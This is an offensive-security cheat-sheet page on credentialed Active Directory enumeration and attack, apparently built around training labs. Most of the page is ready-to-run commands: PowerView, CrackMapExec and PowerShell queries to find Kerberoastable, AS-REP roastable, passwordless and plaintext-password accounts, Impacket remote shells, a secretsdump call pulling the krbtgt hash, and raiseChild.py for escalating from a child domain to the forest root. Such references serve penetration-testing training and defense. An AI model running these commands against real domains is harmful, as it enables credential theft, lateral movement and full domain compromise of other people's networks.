> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # AD Enumeration (Credentialed) Everything on this page needs at least one valid domain credential, but opens up a far more complete view of the domain than anything unauthenticated allows, full user/group/computer listings, trust mapping, ACLs, GPOs, and which accounts are actually attackable. **Windows** ### Active Directory PowerShell Module The built in AD module, no third party tooling required. ```powershell theme={null} Import-Module ActiveDirectory Get-ADDomain # info about the current domain Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # native Kerberoastable account search, no PowerView needed Get-ADTrust -Filter * # trust relationships Get-ADGroup -Filter * | select name # list all groups Get-ADGroup -Identity "Backup Operators" # detailed info on one group Get-ADGroupMember -Identity "Backup Operators" # list that group's members Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt # dump every domain username to a file ``` ### SharpView .NET port of PowerView, useful when PowerShell itself is restricted. ```powershell theme={null} .\SharpView.exe Get-DomainUser -Help .\SharpView.exe Get-DomainUser -Identity forend ``` ### Automated Recon & Assessment Tools ```powershell theme={null} Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data # crawls accessible shares/files hunting for credentials and other sensitive data PingCastle.exe # automated AD security assessment, flags misconfigurations at a glance .\ADRecon.ps1 # broad automated recon/reporting on the current environment ``` > [!TIP] > > Every command to manually gather informations about the domain, on this page (users, groups, sessions, ACLs, trusts) is what [BloodHound](https://0-x.dev/ad/bloodhound.md) collects and graphs automatically, then uses to compute actual attack paths to Domain Admin. ### PowerView - General Domain Info ```powershell theme={null} Import-Module .\PowerView.ps1 Get-Domain # current domain Get-Domain -Domain # specific domain Get-DomainPolicy # domain policy (password policy, etc.) Get-DomainController # current domain's DC Get-DomainController -Domain ``` ### PowerView - Users & Groups ```powershell theme={null} Get-DomainUser | Select-Object -ExpandProperty cn | Out-File user.txt Get-DomainUser -Identity -Domain inlanefreight.local Get-DomainGroupMember -Identity "Domain Admins" -Recurse # legacy Get-Net* equivalents (older PowerView cmdlets, same data) Get-NetGroup | Select name Get-NetGroup 'Domain Admins' Get-NetGroupMember 'Domain Admins' | select MemberName Get-NetGroup -username '' | select name ``` ### PowerView - Computers, Shares & GPOs ```powershell theme={null} Get-NetComputer | Select name, os Get-NetComputer -Domain Find-DomainShare -ComputerName Find-DomainShare -ComputerName -CheckShareAccess Get-NetShare Get-DomainGPO | select displayname Get-NetGPO | select displayname Get-NetOU | select name ``` ### PowerView - Trusts & Forests ```powershell theme={null} Get-DomainTrust Get-DomainTrustMapping Get-NetDomainTrust Get-NetForest Get-NetForest -Forest Get-NetForestTrust Get-NetForestTrust -Forest Get-NetForestDomain Get-NetForestDomain -Forest ``` ### PowerView - ACLs ```powershell theme={null} $sid = Convert-NameToSid wley Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} # ACL entries for one user Find-InterestingDomainAcl -ResolveGUIDs # every ACL worth a second look, domain-wide ``` ### Finding Kerberoastable Accounts Check the Kerberoasting page, for detailed informations. ```powershell theme={null} Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName Get-NetUser -SPN # legacy equivalent ``` ### Finding AS-REP Roastable Accounts Check the AS-REP Roasting page, for detailed informations. ```powershell theme={null} Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol Get-NetUser -PreauthNotRequired # legacy equivalent Get-Domainuser | Where-Object {$_.UserAccountControl -like "*DONT_REQ_PREAUTH*"} ``` ### Finding Weak/Exposed Credentials ```powershell theme={null} # description fields are a surprisingly common place to find a plaintext password Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null} # accounts that don't require a password at all Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol ``` ### Finding Admin Access ```powershell theme={null} Test-AdminAccess -ComputerName ACADEMY-EA-MS01 # test admin access on one machine Find-LocalAdminAccess # find every machine the current user has admin on ``` **Linux** ### CrackMapExec - Domain Objects ```bash theme={null} sudo crackmapexec smb -u -p --users # list all domain users sudo crackmapexec smb -u -p --groups # list all domain groups sudo crackmapexec smb -u -p --loggedon-users # currently logged-on users, useful for finding where a privileged session is actually sitting ``` ### CrackMapExec - Shares ```bash theme={null} sudo crackmapexec smb -u -p --shares sudo crackmapexec smb -u -p --share '' -M spider_plus # spider a specific share for interesting files ``` ### Remote Shells (Impacket) The full psexec/wmiexec/smbexec/atexec/dcomexec breakdown lives on [Remote Access & Execution](https://0-x.dev/lateral-movement/remote-access.md), the two most relevant for enumeration itself: ```bash theme={null} psexec.py /:''@ # full interactive shell wmiexec.py /:''@ # stealthier, no service created, no binary dropped ``` ### LDAP & DNS Enumeration ```bash theme={null} python3 windapsearch.py --dc-ip -u @ -p -U # enumerate all AD users; --da for Domain Admins, -PU for privileged users adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r # dump AD-integrated DNS records, surfaces internal hostnames nothing else reveals ``` ### Targeted Hash Dumping Needs DCSync rights on the account running this, pulls a single account's hash remotely without touching `NTDS.dit` directly, full DCSync/NTDS.dit breakdown lives on the [AD domain credential dumping](https://0-x.dev/ad/domain-credential-dumping.md) page. ```bash theme={null} secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt # here, specifically the krbtgt hash ``` ### Child Domain → Forest Privilege Escalation Abuses the implicit, bidirectional trust between a child domain and its forest root: compromising a child domain is enough to forge trust tickets that are honored at the forest root. ```bash theme={null} raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm ``` *** ## Quick Reference Tools > **[AD Enumeration (Unauthenticated)](https://0-x.dev/ad/enumeration-unauthenticated.md)** > > The pre-credential step: username lists, password policy, spraying. > **[AD Kerberos Ticket Attacks](https://0-x.dev/ad/kerberos-ticket-attacks.md)** > > What to do with a Kerberoastable account found here. > **[Remote Access & Execution](https://0-x.dev/lateral-movement/remote-access.md)** > > The full psexec/wmiexec breakdown referenced in the Linux tab above. > **[PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)** > > The primary tool used throughout the Windows tab above. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.